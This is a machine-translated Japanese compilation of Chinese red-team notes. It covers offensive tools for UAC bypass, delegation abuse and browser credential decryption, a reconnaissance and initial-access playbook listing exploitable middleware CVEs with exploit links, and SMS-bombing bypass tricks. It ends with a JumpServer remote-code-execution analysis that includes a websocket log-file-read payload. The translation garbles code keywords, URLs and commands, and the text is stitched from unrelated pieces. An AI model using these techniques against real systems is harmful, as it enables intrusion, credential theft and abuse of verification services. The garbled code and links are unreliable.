5。ビデオディスプレイ:

k1dykjhv0d42879.gif

0x10。 regeditbypassuac

関数:UAC経由でexeを実行します。コンパイルされたEXEはWin10にのみ適していますが、Win7ではありません。

1。特定のプロセス

ホワイトリストプログラムレジストリバイパッソック

2。ビデオデモンストレーション

1049983-20230323151133619-1385657115.jpg

0x11。 DelegationVul

機能:内部ドメインの制約委任の検出

1。制約付き委任の利用

制約付き委任の利用

2。ビデオデモンストレーション

1049983-20230323151135034-1208473538.jpg

3。リソースベースの制約委任の利用

リソースベースの制約付き委任の利用

4。ビデオデモンストレーション

1049983-20230323151136117-431754580.jpg

0x12。 360SafebrowserDecrypt

関数:

ターゲットマシンで直接実行しますが、殺すしかありません

360SafebrowserDecrypt.exe

ターゲットマシンIDとASSIS2.DBデータベースをローカル復号化にドラッグします

マシンID:を確認してください

reg query 'hklm \ software \ microsoft \ cryptography' /v 'machineguid'

360セーフブラウザーインストールディレクトリ:を確認してください

reg query 'hkcr \ 360seses \ defaulticon'

デフォルトのASSIS2.DBデータベースディレクトリ:

c: \ users \

毎日の手順の簡単な説明

エントリ許可=イントラネットの収集/検出=殺害の免除[不要]=クロールログイン資格情報=クロスプラットフォームhorizontal=エントリメンテナンス=データリターン=通常の許可メンテナンス

0x01エントリ許可へのアクセス[早期偵察では、コレクション段階には多くの防御可能なポイントがなく、防衛の中心ではありません]

1。CDN周辺のすべての実際のIPセグメントを見つけます(1)。全国の複数のpingを通して、IPアドレスがCDNhttp://PING.com/https://Tools.ipip.net/ping/ping/ping.phphttps://www.17ce.com/3https://ww.cdnplanet.com/tools/cdnfinder/(cdnfinder/(2)かどうかを判断するために一意かどうかを確認してください。以前のDNSバインディング履歴レコードを通じて、実際のIPアドレスhttps://x.Threatbook.cn/https://Viewdns.info/https://www.ip138.com/http://toolbar.netcraft.com/site_report?url=3333https://securitytrails.com/(3)を見つけてください。複数のサブドメインを取得し、バッチ内の複数のサブドメインをpingすることにより、サブドメインのIPを決定できます。セグメントは実際のIPセグメントです(メインサイトはCNDを使用しますが、サブドメインサブサイトはCDNを使用して解決しません)レイヤーサブドメインがExcavator/googlehackinghttps://phpinfo.me/domain/http://tool.chinaz.com/subdomain/https://github.com/lijiejie/subdomainsbrute(4)。 SSL証明書を使用して、実際の元のIPhttps://C essys.io/https://crt.sh/(5)を見つけます。外国人ホストを使用してドメイン名https://asm.ca.com/zh_cn/ping.phphttps://asm.saas.broadcom.com/zh_cn/register.php3359dnscheck.pingdom.com(6)を解決します。 PHPINFOやGitHubに敏感な情報漏れまたはApacheステータス、JBOSSステータス敏感な情報漏れ、Webソースコードの漏れ、SVN情報漏れ文字、GitHub情報漏れ(7)などのWebサイトの脆弱性検索。ウェブサイトの電子メールサブスクリプションRSS電子メールサブスクリプションを探します。多くのウェブサイトにはsendmailが付属しており、メールを送信します。現時点では、電子メールソースコードをチェックするには、サーバーの実際のIPが含まれます。 (8)。 CDNに侵入し、抜け穴または弱いソーシャルワーカーのパスワードを介して入力します。 (9)。 ZMAPとZgrabのフルネットワークスキャンを介して実際のIPを取得します。 https://www.ip2location.com/free/visitor-blocker3https://www.ipdeny.com/ipblocks/3https://www.t00ls.net/articles-40631.html(Zgrab)3https://levyhsu.com/2017/05/05/5%888%A8%A8%A8%a8です94%a8zgrab%e7%bb%95cdn%e6%89%be%e7%9c%9f%e5%ae%9eip/http://bobao.360.cn/learning/detail/211.html(zmap)(10)。 https://www.zoomeyee.orgshodan:https://www.shodan.iofofa:https://fofa.s(11)。 ping 163.conの場合、バイパスできます(12)。前のものの古いドメイン名はping(13)を使用できます。 F5 LTMデコードメソッドサーバーがロードバランスにF5 LTMを使用する場合、実際のIPは、Set-Cookie: Bigipserverpool_8.29_8030=487098378.24095.0000などのSet-Cookieキーワードをデコードすることで取得することもできます。最初に最初のセクションの小数を取り出し、つまり487098378を取り出し、次に16進数1D08880Aに変換し、次に背面から前面に変換し、4桁の番号、つまり0A.88.08.1Dを取得し、最終的にそれらを10桁に変換します。ターゲットを見つけるためのさまざまなWeb管理バックエンドログインポート(1)ターゲットWebバナーツールのすべての実際のCセグメント:iisput

(2)。バッチベーシックサービスポートスキャン、検出、およびターゲットのすべての実際のCセグメントの識別ツール:Yujian Port Scan、Goby

(3)。ターゲットDNSがエリアトランスミッションを許可するかどうかを試してください。許可されていない場合は、サブドメインDNSドメイン送信を爆破しようとします:C: \ users \ ljnslookupデフォルトサーバー:不明: 211.82.100.1サーバー125.223.168.5 LS THNU.EDU.CNサブドメイン名爆発:レイヤー(4)。バルククロールすべてのターゲットサブドメインWebバナーツール:レイヤー(5)、ターゲットのすべてのサブドメインのバッチベーシックサービスポート検出および識別ツール:Yujian Port Scan、Goby(6)Batchは、すべての生存するWebサイトのWebプログラムフィンガープリントを識別し、その詳細なバージョンhttps://github.com/edgesecurityTeam/Ehole33333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333999GITHMY http://finger.tidesec.com/http://whatweb.bugscaner.com/look/3https://fp.shuziguanxing.com/#/3https://www.yunsee.cn/(6)さまざまな敏感なファイルを見つけて、時にはターゲットからターゲットに漏れていることがあります。 'AccessKey'https://github.com/0xbug/hawkeyehttps://github.com/feicn/gsil(6)ネットワークディスク/baiduライブラリからターゲットによって漏れたさまざまな機密ファイルとアカウントパスワードを見つけますhttp://www.daysou.com/(network disk search)

(7)ターゲットがサードパーティの歴史的脆弱性データベースからリークしたさまざまな機密アカウントのパスワードを見つけます[国内ターゲットは非常に有用です]

(9)Webサイトディレクトリスキャン[ターゲットWebサイト、Webサイトのバックアップファイル、機密構成ファイル、ソースコード、その他のWebシェルなどによってリークされたあらゆる種類の機密ファイルを見つけます.]ツール:Yujian Directory、Dirsearch Directory、dirsearchディレクトリ、

(10)フロントエンドコードでターゲットサイト自体によってリークされるさまざまな機密情報

(11)fofa/shodan/bing/googleハッキング詳細な使用率

(12)ターゲットの学生番号/従業員の仕事番号/ターゲットメールを収集します[そしてさまざまなソーシャルワークデータベースに移動して、これらのメールアドレスがパスワードを漏らしたかどうかを確認します]学生学生番号公式ウェブサイトとTIEBAフォーラムコレクション、公式ウェブサイトまたはソーシャルワークデータベースおよびGithubでの従業員の仕事番号検索

(13)ターゲットは、さまざまな技術文書/WIKISおよびさまざまなアカウントパスワードおよびその他の機密情報を提供します。

(14)ターゲットWechatアプレットとパブリックアカウント(15)ターゲットアプリWebリクエストを分析する(16)JSプローブを使用してターゲットイントラネット情報を収集します

(17)さまざまな内部QQグループ/WECHATグループで混合する方法を見つける

(18)ターゲット直接サプライヤーを分析する[特に技術のアウトソーシング]

(19)以前に収集されたさまざまな情報に基づいて、ターゲットを絞った弱いパスワード辞書を作成しますhttps://xsshs.cn/xss.php?do=pass

(20)ターゲットとバイパスhttps://github.com/enablesecurity/wafw00f(WAF認識)が使用するWAFタイプの認識

(21)Bypasswafファイルのアップロード/読み取り/ダウンロード

(22)バイパスワフSQL注射

(23)Bypasswaf rce(24)bypasswafさまざまなタイプのJava Webミドルウェア既知のnday脆弱性

(25)殺害のないバイパスワフのウェブシェル

もっと、追加して正しい.

0x02エントリ許可へのアクセス[外部防衛センター( "Top on Top")]

この段階は、主に主流の「ミドルウェア +オープンソースプログラム + Webサービスコンポーネント」のさまざまな既知のndayの脆弱性を対象としています

以下は、「実際の攻撃利用の難易度」と「取得した高および低いシェル許可」に基づいて詳細に並べ替えられています。それは実用的に完全に導かれているためです

したがって、比較的一般的であり、実際にGettingshellを効果的に支援できる「ミドルウェア」、「オープンソースプログラム」、「Webコンポーネント」のみを選択しました。

さまざまなJavaミドルウェアのさまざまな既知のndayエクスプロイト

他のスクリプトのようなWebプログラムとは異なり、Javaの実行許可は通常比較的高く、それらのほとんどはRoot/Administrator/システムの許可で直接実行されています。

したがって、取得したシェルアクセス許可は一般的に非常に高く、通常は直接サーバー許可です

特にさまざまな赤いチームのシナリオでは、侵入者は通常、これらのポイントを最初に選択し、これをブレークスルーとして使用して、安定したスプリングボードの入力許可を取得します。

どの業界がどのミドルウェアを使用するのが好きかについて、これらも事前に分析および要約する必要があります。

struts2struts2-005

struts2-008

Struts2-009

struts2-013

Struts2-016(実際、多くの古いシステムがこの穴を見逃しており、成功率は高くなっています)

Struts2-019

Struts2-020

struts2-devmode

struts2-032

Struts2-033

Struts2-037

Struts2-045

Struts2-046

Struts2-048

struts2-052

struts2-053

struts2-057

利用ツール:https://github.com/hatboy/struts2-scanweblogiccve-2019-2725

CVE-2019-2729

CVE-2018-3191

CVE-2018-2628

CVE-2018-2893

CVE-2018-2894

CVE-2017-3506

CVE-2017-10271

CVE-2017-3248

CVE-2016-0638

CVE-2016-3510

CVE-2015-4852

CVE-2014-4210

SSRF

弱いコンソールパスワード、WebShellの展開

ツールチェックとエクスプロテーション:https://github.com/0xn0ne/weblogicscanner(ツールチェック)https://github.com/zhzyker/expub/tree/master/weblogic(ツールエクスプロイト)jbosscve-2015-7501

CVE-2017-7504

CVE-2017-12149

許可されていないアクセス、WebShellの展開

弱いコンソールパスワード、WebShellの展開

利用ツール:https://github.com/joaomatosf/jexboss3https://github.com/joaomatosf/javadeserh2hcwildfly [jboss 7.xはwildflyに変更されます]コンソールの弱いパスワード、ウェブシェルの展開

Tomcatcve-2016-8735

CVE-2017-12615 [Readonly、それは真実に設定される可能性が低く、少し役に立たない]

CVE-2020-1938 [AJPプロトコルの脆弱性、多くの人がポート8009を外部ネットワークに直接さらしているわけではありません。

コンソールの弱いパスワード、WebShelllが展開されます[注:バージョン7.x、デフォルトで爆発防止機構が追加されます]

脆弱性のエクスプロイト概要: https://blog.csdn.net/weixin_42918771/article/details/10484443673https://mp.weixin.qq.com/s/zxocj9ghmatvvfeyn8vmua3https://saucer-man.com jekinscve-2018-1999002 [任意のファイルの読み取り]

不正アクセス、任意のコマンド実行

コンソールの弱いパスワード、任意のコマンド実行

脆弱性のエクスプロイト概要: https://www.cnblogs.com/junsec/p/11593556.htmlhttps://misakikata.github.io/2020/03/jenkins%E 6%BC%8F%E6%B4%9E%E9%9B%86%E5%90%88%E5%A4%8D%E7%8E%B0/https://GITHUB.COM/GQUERE/PWN_JENKINS ElasticSearchCVE-2014-3120 [特に古いバージョン用(サンドボックスなし)RCE]

CVE-2015-1427 [グルービーRCE]

CVE-2015-3337 [任意のファイルの読み取り]

許可されていないアクセス、機密情報が漏れました

脆弱性の概要: https://jishuin.proginn.com/p/763bfbd3aa0dhttps://mp.weixin.qq.com/s?__biz=mzawmjgwmtu1mg=mid=2247484 799idx=2sn=b91f5bc7a31f5786a66f39599ea44bffhttps://blog.csdn.net/u011066706/article/details/51175761 https://www.cnblogs.com/atesetenginner/p/12060537.html rabbitmq弱いパスワードのデフォルトアカウントパスワードはゲスト/ゲストです(デフォルトポート:15672、25672、15692)

Glassfish任意のファイル読み取り[低バージョン]

弱いコンソールパスワード、WebShellの展開

脆弱性のエクスプロイト:http://IP:ポート/テーマ/メタINF/%C0 WebSpherejavaの降下

弱いコンソールパスワード、WebShellの展開

脆弱性exploithttps://www.lxhsec.com/2019/03/04/middleware/https://wiki.96.mk/web%E5%AE%89%E5%85%85%A8/websphere/cve-2020-4643%20ibm%20websphere5% a aad%aid%a8です%9c%a8xxe%e5%a4%96%e9%83%a8%e5%ae%9e%e4%bd%93%e6%b3%a8%e5%85%a5%e6%b C%8F%E6%B4%9e/https://github.com/ares-x/vulwikihttps://xz.aliyun.com/t/8248 axis2任意のファイルの読み取り

ディレクトリトラバーサル

脆弱性のエクスプロイト: https://xz.aliyun.com/t/6196https://paper.seebug.org/1489/#23-axis23https://wiki.96.mk/w EB%E5%AE%89%E5%85%A8/Apache%20axis/%EF%BC%88CVE-2019-0227%EF%BC%89APACHE%20axis %201.4%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C/https://github.com/Cale doniaproject/axisinvokerhttps://github.com/fnzer0/axis-rcehttps://paper.seebug.org/1489/apache activemqはアクセスの許可されておらず、5.12の前にfileserverが存在し、putが任意に書かれています

CVE-2015-5254

脆弱性のエクスプロイト:http://wiki.sentrylab.cn/0day/activemq/3.html3https://www.freebuf.com/column/161188.htmlhttps://www.taodudu.cc/news/show-234492.htmlcte

CVE-2019-0193 [apache solr 5.x-8.2.0]

エクスプロイト: https://xz.aliyun.com/search?keyword=solrhttps://www.jiansshu.com/p/43e7f13e2058https://caiqiqi.github.io/2019/11/03/apache-solr%e6%bc%8f%e6%b4%9e%e5%90%88%e9%9b%86/https://cloud.tencent.com/developer/article/1810723 http://wiki.peiqi.tech/peiqi_wiki/web%E6%9c%8D%E5%8A%A1%E5%9999999999EAPACHE/APACHE%20Solr/?

Apache Shiro Deserialization Fastjson=1.2.47脱力化利用

さまざまなWindows PHP統合環境の場合[このような環境で得られるWebシェル許可は比較的高いため、通常は赤チームの職員にとって最初の選択肢です)

AppServ

xampp

パゴダ

phpstudy

.

さまざまなオープンソースプログラムの既知のndayの脆弱性エクスプロイト

DEDECMS背景弱いパスワード、シリーズ既知のnday脆弱性エクスプロイト

thinkphp 5.x背景の弱いパスワード、シリーズ既知のndayの脆弱性エクスプロイト

PHPCMSバックグラウンド弱いパスワード、シリーズ既知のndayの脆弱性エクスプロイト

ECSHOPの背景弱いパスワード、シリーズ既知のndayの脆弱性エクスプロイト

MetInfoの背景弱いパスワード、シリーズは既知のndayの脆弱性エクスプロイト

Discuzバックグラウンド弱いパスワード、シリーズ既知のndayの脆弱性エクスプロイト

Empire CMSバックグラウンド弱いパスワード、シリーズ既知のndayの脆弱性エクスプロイト

phpmyAdminデータベース弱いパスワード、シリーズnady脆弱性のエクスプロイト

WordPressの背景弱いパスワード、シリーズ既知のndayの脆弱性エクスプロイト

Joomlaの背景弱いパスワード、シリーズはnadyの脆弱性の悪用を既知のシリーズ

Drupal CVE-2018-7600、バックエンドの弱いパスワード、シリーズ既知のndayの脆弱性エクスプロイト

.

他のさまざまなWebコンポーネントの既知のndayエクスプロイト

IIS 6.0 RCEショートファイルの脆弱性

任意に書き込みます

WebDav RCE CVE-2017-7269

Zendaoプロジェクト管理システムSQLインジェクション

ファイルの読み取り

リモート実行

Tongda OASQL注射

任意のアップロード

Exchangeはインターフェイスを使用して、メールボックスのユーザー名を列挙します

各インターフェイスの弱いパスワードブラスト

CVE-2020-0688 [利用の前提条件は、最初に電子メールユーザーの許可が必要なことです]

.

zimbra [xxe + ssrf=rce] CVE-2013-7091

CVE-2016-9924

CVE-2019-9670

Citrixcve-2019-19781

Jumpserver認証バイパス

Zabbixcve-2017-2824

SQLインジェクション[2.0古いバージョン]

コンソールの弱いパスワード、機密機械情報が漏れます

サボテンバージョンSQLインジェクション

弱いコンソールパスワード

Nagioscve-2016-9565

弱いコンソールパスワード

Webmin RCECVE-2019-15107

phpmailercve-2016-10033

FANWEI OAリモートコード実行キングディーOA SQLインジェクションコアメイル敏感なファイルリークueditor任意のファイルopensSl heart grab平野アカウントパスワード[ハートベルド]シェルブレイクの脆弱性[シェルショック]

迅速に逃げることができるさまざまな通常の基本的なWeb脆弱性[注:いくつかの脆弱性は、コードをレビューせずに効果的かつ盲目的に検出することが実際に困難です]

背景の弱いパスワード

SSRF

SQLインジェクション

権威の行き過ぎ

コマンド/コードの実行/脱介入

ファイルをアップロード/ダウンロード/読み取ります

含む

XSS(実際、XSSは特定の特定の電子メールをターゲットにしていて、ブラウザ0adを手に持っている場合にのみ価値があります。実際、Red Teamシナリオではそれほど致命的ではありません)

ビジネスロジックの脆弱性

さまざまな境界ネットワークデバイスのさまざまな用途、主にWeb管理コンソールの弱いパスワードとさまざまな既知のnday攻撃をログインします。

パルスセキュアVPNCVE-2019-11510 [任意のファイルの読み取り]

Fortinet VPNCVE-2018-13379 [ファイルリーディング]

Sangfor VPN RCE

0x03エントリーアクセスアクセスエントリアクセス[特に、さまざまな基本サービスポートのさまざまなゲッシェル利用、防衛フォーカス(「最優先事項 "))

ここでは、実際には実際にGootshellに役立つサービスのみを選択します。他の比較的限界サービスは言及されていません。

同様に、基準の詳細な並べ替えは、「実際の攻撃利用の難しさ」と「取得したシェル許可」に基づいていました。

次のように、各ポートの特定の攻撃方法について簡単に説明します。

トップポートListMSSQL [TCP 1433ポートのデフォルト作業、パスワードの弱い、敏感なアカウントパスワードリーク、特権昇給、リモート実行、バックドアインプラント]

SMB [TCPポート445のデフォルト作業、パスワードの弱い、リモート実行、バックドア移植]

WMI [TCPポート135のデフォルト作業、パスワードの弱い、リモート実行、バックドア移植]

Winrm [TCP 5985ポートのデフォルトの作業、このアイテムは主にウィンドウ、弱いパスワード、リモート実行、バックドアインプラントのいくつかのより高いバージョン用です]

RDP [デフォルトでは、TCP 3389ポート、弱いパスワード、リモート実行、シフトクラスバックドアが他の人が残しています]

SSH [TCP 22ポート、弱いパスワード、リモート実行、バックドアインプラントのデフォルト作業]

Oracle [TCP 1521ポートでのデフォルト作業、弱いパスワード、敏感なアカウントパスワードの漏れ、特権昇給、リモート実行、バックドア移植]

MySQL [デフォルトでは、TCP 3306ポート、弱いパスワード、敏感なアカウントパスワードの漏れ、および昇給権(いくつかの古いシステムにのみ適用される)で動作します]]

Redis [TCPポート6379のデフォルト作業、弱いパスワード、不正アクセス、書き込みファイル(WebShell、スタートアイテム、スケジュールされたタスク)、許可の引き上げ]

postgreSQL [TCP 5432ポート、弱いパスワード、機密情報漏れのデフォルト作業]

LDAP [TCPポート389でのデフォルト作業、不正アクセス、弱いパスワード、機密アカウントパスワードリーク]]

SMTP [デフォルトでは、ユーザー名の列挙脆弱性、パスワードの弱い、サービスの誤ったものによって引き起こされる機密情報の漏れ]

POP3 [TCPポート110のデフォルト作業、パスワードの弱い、機密情報漏れ]

IMAP [TCPポート143のデフォルト作業、パスワードの弱い、機密情報の漏れ]

Exchange [TCP 443ポートでのデフォルト作業、弱いパスワードBlasting EG: OWA、EWS、OAB、AutoDiscover . PTH OFF-MAIL、機密情報リーク.]

VNC [TCPポート5900のデフォルト作業、パスワードの弱い]

FTP [デフォルトでは、TCP 21ポート、弱いパスワード、匿名アクセス/書き込み、機密情報の漏れで動作します]

RSYNC [TCP 873ポートでのデフォルト作業、不正、弱いパスワード、機密情報漏れ]

mongodb [TCP 27017ポートのデフォルト作業、不正で弱いパスワード]

Telnet [TCP 23ポート、弱いパスワード、バックドア移植のデフォルト作業]

SVN [TCP 3690ポートのデフォルト作業、パスワードの弱い、機密情報漏れ

当事者Aのビジネスをテストしたり、SRCやその他のサービスを掘ったりするとき、SMS検証が送信される場所に遭遇することがよくあります。考えることができるのは、ユーザーによるログイン、SMS爆撃、およびパスワードを変更するユーザーなどの論理的な脆弱性です。また、単純な脆弱性には、明確な思考分析が必要であり、いくつかのSMSを使用して複数のバイパスケースを爆撃して共有し、リスクと低リスクを使用してそれらを収集します。 1。パラメーター汚染バイパスパラメーター汚染、つまり、背景にテキストメッセージを送信するとき、数の一部が取得されます。他の文字を混ぜると、送信された携帯電話番号の制限の確認をバイパスします:1049983-20230406203235605-677102358.jpg2。可変汚染は、いわゆる可変汚染をバイパスします。おそらく、背景が最初の変数のコンテンツをチェックし、値として扱われますが、データパケットが背景に渡されると、パラメーター名が同じ場合、2番目、3番目、4番目、および最後のパラメーターがベンチマークとして渡されるため、バックエンドの制限は:01011049983-20230406203237344-2127976321.jpg3に渡されます。携帯電話番号をバイパスするデータ長の定義は11桁ですが、背景は、123=0123=00123などの送信された携帯電話番号の長さを確認しません。この方法は、携帯電話番号をバイパスするために使用されます。確認コードを送信するとき、フロントエンドは状態をもたらします。この状態を変更することにより、システムの制限をバイパスできます。たとえば、登録されたユーザーはテキストメッセージを送信することはできません。反対に、未登録のユーザーはテキストメッセージを送信できません。フレーズはTrue 1049983-20230406203238839-1649026213.jpg5に変更されます。クッキーは、薬を変えないようにスープを迂回して置き換えます。 Cookieのユーザーの資格情報を確認します。 Cookieのいくつかのパラメーターを変更することにより、バイパスをバイパスして携帯電話番号を送信/登録してテキストメッセージを送信できます:1049983-20230406203239567-527777944.jpg 1049983-20230406203240335-1564604767.jpg6。 [SPASTバイパスSMS爆撃] [画像なし] SMSを送信するときは11桁ですが、データベースはフィールドの長さを11に制限しません。元の検証はスペースを追加することでバイパスされます。ただし、バックグラウンドで番号を送信すると、有効な文字の前のフィールドが取得されるため、バイパスされた方法が得られます。 7。 8。[APIインターフェイスに基づいて] [写真なし]この脆弱性については、一般に、フロントデスクに携帯電話番号を入力し、リクエスト1を送信して背景に移動して、送信要求を実行できるかどうかを判断します。

2。そうでない場合は、誤ったものまたはエラーを返します。成功した場合は、trueまたは成功を返します。返されたものを見つけてください。

この種の脆弱性は、インターフェイスに記載されている場合があります。

0はじめに

Jumpserverは、オープンソースのバスティオンマシンであり、4A仕様に準拠した運用およびメンテナンスセキュリティ監査システムです。素人の用語では、それはスプリングボードマシンです。

2021年1月15日、Jumpserverはセキュリティアップデートをリリースし、リモートコマンドの実行の脆弱性を修正しました。一部のJumpserverインターフェイスには認可制限がないため、攻撃者は悪意のあるリクエストを作成して機密情報を取得するか、すべてのマシンを制御して任意のコマンドを実行するための関連操作を実行できます。

影響バージョン:

JumpServer V2.6.2JumpServer V2.5.4JumpServer V2.4.5JumpServer=V1.5.9

1。脆弱性分析

修理コードのコミットレコードを参照してください: https://github.com/jumpserver/jumpserver/commit/f04e2fa0905a7cd439d7f6118bc810894eed3f3e

CeleryLogWebsocketクラスの接続がID認証で追加されたことがわかりました。

インポート時間

OSをインポートします

スレッドをインポートします

JSONをインポートします

common.utilsからImport get_loggerから

from .celery.utilsインポートget_celery_task_log_path

.ansible.utilsからImport get_ansible_task_log_pathから

from Channels.generic.websocketインポートjsonwebsocketconsumer

logger=get_logger(__ name__)

クラスTaskLogWebsocket(JSONWebsocketConsumer):

切断=false

log_types={

'Celery ': get_celery_task_log_path、

'ansible ': get_ansible_task_log_path

}

def connect(self):

user=self.scope ['user']

user.is_authenticatedおよびuser.is_org_admin:の場合

self.accept()

else:

self.close()

def get_log_path(self、task_id):

func=self.log_types.get(self.log_type)

func:の場合

return func(task_id)

def receive(self、text_data=none、bytes_data=none、** kwargs):

data=json.loads(text_data)

task_id=data.get( 'task')

self.log_type=data.get( 'type'、 'celry')

if task_id:

self.handle_task(task_id)

def wait_util_log_path_exist(self、task_id):

log_path=self.get_log_path(task_id)

self.disconnected:ではありません

os.path.exists(log_path):ではない場合

self.send_json({'message':'。 '、' task ': task_id}))

time.sleep(0.5)

続行します

self.send_json({'message':' \ r \ n '})

try:

logger.debug( 'タスクログPATH: {}'。フォーマット(log_path)))

task_log_f=open(log_path、 'rb')

return task_log_f

OSERROR:を除く

なしなし

def read_log_file(self、task_id):

task_log_f=self.wait_util_log_path_exist(task_id)

そうでない場合は、task_log_f:

logger.debug( 'タスクログファイルはne: {}'。フォーマット(task_id)))

戻る

task_end_mark=[]

self.disconnected:ではありません

data=task_log_f.read(4096)

data:の場合

data=data.replace(b '\ n'、b '\ r \ n')

self.send_json(

{'message': data.decode(errors=' agnore ')、' task ': task_id}

))

data.find(b'suceded in ')!=-1:の場合

task_end_mark.append(1)

data.find(bytes(task_id、 'utf8'))!=-1:の場合

task_end_mark.append(1)

Elif Len(task_end_mark)==2:

logger.debug( 'タスクログend: {}'。フォーマット(task_id)))

壊す

time.sleep(0.2)

task_log_f.close()

def handle_task(self、task_id):

logger.info( 'task id: {}'。形式(task_id)))

スレッド=threading.thread(ターゲット=self.read_log_file、args=(task_id、)))

thread.start()

def disconnect(self、close_code):

self.disconnected=true

self.close()

このクラスのHTTPインターフェイスをご覧ください。

nvlgedxlxi12885.png

このクラスを通じて、このインターフェイスのアクセスチェーンは次のとおりです。

ws/ops/tasks/log/

-TaskLogWebsocketクラスの受信関数を入力します

-TaskLogWebsocketクラスのhandle_task関数を入力します

-loglogwebsocketクラスのread_log_file関数を入力します

-Wait_util_log_path_exist tasklogwebsocketクラスの関数を入力します

-loglogwebsocketクラスのread_log_file関数を入力します

-App/ops/utls.py jt5ue15cg0d2886.pngにget_task_log_path関数を入力します

TaskIDは、送信したtext_dataから解析されるため、制御可能です。次の方法を使用して、ログファイル/opt/jumpserver/logs/jumpserver.logを読むことができます。

ws: //10.10.10.1033608080/ws/ops/tasks/log/に送信

{'task':'/opt/jumpserver/logs/jumpserver '}上記はファイル読み取りの原則です。ログファイルの読み取りには次の制限があります。

ファイルは、絶対パスを使用してのみ読み取ることができます。ログで終わるファイルのみが読み取られます。次の分析は、リモートコード実行を実装する方法です。

/opt/jumpserver/logs/gunicorn.logを読むことで、運が良ければ、ユーザーUID、システムユーザーUID、およびAsset IDを読むことができます。

ユーザーidasset idsystemユーザーID上記の3つの情報を、ユーザーがログから取得するためにWeb端末にログインしていることを確認する必要があります。それを取得した後。 /api/v1/authentication/connection-token/interfaceを介して、/apps/authentication/api/userconnectiontokenapiを入力できます

wswy0gvf51n2887.png

4bqehsjmlxj2888.png

user_id asset_id system_user_idを使用して、20秒の有効期間のみのトークンを取得できます。このトークンは、KokoコンポーネントのTTYを作成するために使用できます。

https://github.com/jumpserver/koko/blob/master/pkg/httpd/webserver.go#342

-https://github.com/jumpserver/koko/blob/4258b6a08d1d3563437ea2257ece05b22b093e15/pkg/httpd/webserver.go#l167特定のコードは次のとおりです。

1spev0nqvf22889.png

h50wznv4z0d2890.png

完全なRCE使用手順は次のように要約されています。

WebSocket接続は許可なしに確立できます。ログファイルをWebSocketを介して読み取り、LOGファイルのシステムユーザー、ユーザー、およびアセットフィールドを取得できます。 3のフィールドを通じて、トークンを通して20秒のトークンを取得し、Koko Ttyに入ることができます。コマンドを実行する

2脆弱性の再発

2.1環境構築

ローカル環境:Xubuntu20.04JumpServerバージョン:2.6.1バージョンインストール手順:

#ダウンロード

git clone 3https://github.com/jumpserver/installer.git

CDインストーラー

#国内のDockerソースアクセラレーション

Export docker_image_prefix=docker.mirrors.ustc.edu.cn

#開発バージョンをインストールしてから2.6.1に切り替えます(2.6.1を直接インストールできるはずです。最初はデフォルトの開発バージョンとしてインストールされましたが、問題ではありません)

sudo su

./jmsctl.shインストール

./jmsctl.shアップグレードv2.6.1

# 起動する

./jmsctl.shフルログを再起動します

#yanq @ yanq-desk in〜/gitrepo [22:18336053] c:127

$ git clone 3https://github.com/jumpserver/installer.git

「インストーラー」へのクローニング.

remote:列挙オブジェクト: 467、完了。

remote:合計467(デルタ0)、再利用0(デルタ0)、パックリューズ467

: 100%(467/467)、95.24 kib | 182.00キブ/s、完了。

プロセス: 100%(305/305)、完了。

#yanq @ yanq-desk in〜/gitrepo [22:20:27]

$ CDインストーラー

#yanq @ yanq-desk in〜/gitrepo/installer on git:master o [22:20:30]

$ ls

Config-example.txt config_init jmsctl.sh readme.md scripts static.env utilsを作成します

#yanq @ yanq-desk in〜/gitrepo [22:18336059]

$ export docker_image_prefix=docker.mirrors.ustc.edu.cn

#yanq @ yanq in〜/github/installer on git:master o [22336003:43] c:130

$ sudo su

root@yanq:/home/yanq/github/installer#./jmsctl.shインストール

██╗██╗██╗███╗██╗███╗███╗██████╗██╗

██║██║███████████████████╔═════════════════════██║███████████████████╔═════════════════════██║

██║██║██║██║██████╔╝██║██║█████╗██████╔╝

█████████████║╚██║╚██╔╝██═══╝╚════██╔══╝╚════██╔══╝██╔═══╝██╔══╝

╚█████╔╝╚██████╔╝██║╚═╝╚═╝██║██║██║╚████╔╝███████╗██║

╚════╝╚═══╝╚════╝╚═╝╚═╝╚═╝

version: dev

1. JumpServerを構成します

1.構成ファイルを確認します

各コンポーネントは、YAML形式の代わりに環境変数構成ファイルを使用し、構成名は前のものと一致しています

構成ファイルの場所: /opt/jumpserver/config/config.txt

仕上げる

2。nginx証明書を構成します

証明書の場所は:/opt/jumpserver/config/nginx/certです

仕上げる

3。バックアップ構成ファイル

/opt/jumpserver/config/backup/config.txt.2021-01-17_22-03-52にバックアップします

仕上げる

4.ネットワークを構成します

IPv6をサポートする必要がありますか? (y/n)(デフォルトはn): n

仕上げる

5.暗号化キーを自動的に生成します

仕上げる

6.永続性ディレクトリを構成します

ログ記録などの永続的なディレクトリを変更し、最大のディスクを見つけ、 /opt /jumpserverなどのディレクトリを作成します

インストール後に:を変更できないことに注意してください。そうしないと、データベースが失われる可能性があります。

使用可能なファイルシステム容量は、使用済みの使用%マウントポイントです

udev 7.3g 0 7.3g 0% /dev

/dev /nvme0n1p2 468g 200g 245g 45% /

/dev/loop1 56m 56m 0 100%/snap/core18/1944

/dev/loop2 65m 65m 0 100%/snap/gtk-common-themes/1513

/dev/loop3 218m 218m 0 100%/snap/gnome-3-34-1804/60

/dev/loop0 56m 56m 0 100%/snap/core18/1932

/dev/loop5 32m 32m 0 100%/snap/snapd/10492

/dev/loop6 65m 65m 0 100%/snap/gtk-common-themes/1514

/dev/loop4 52m 52m 0 100%/snap/snap-store/498

/dev/loop7 52m 52m 0 100%/snap/snap-store/518

/dev/loop8 219m 219m 0 100%/snap/gnome-3-34-1804/66

/dev/loop9 32m 32m 0 100%/snap/snapd/10707

/dev/nvme0n1p1 511m 7.8m 504m 2%/boot/efi

永続的なボリュームストレージディレクトリ(デフォルトは /opt /jumpserver):を設定します

仕上げる

7. mysqlを構成します

外部mysql(y/n)を使用するかどうか(デフォルトはn): n

仕上げる

8。redisを構成します

外部redis(y/n)を使用するかどうか(デフォルトはn): n

仕上げる

2。Dockerをインストールして構成します

1。Dockerをインストールします

Dockerプログラムのダウンロードを開始します.

-2021-01-17 22:04336012--- https://Mirrors.aliyun.com/docker-ce/linux/static/statable/x86_64/docker-8.06.2-ce.tgz

ホストmirrors.aliyun.com(mirrors.aliyun.com). 180.97.148.110、101.89.125.248、58.216.16.38、

mirrors.aliyun.com(mirrors.aliyun.com)| 180.97.148.110 | :443 .接続。

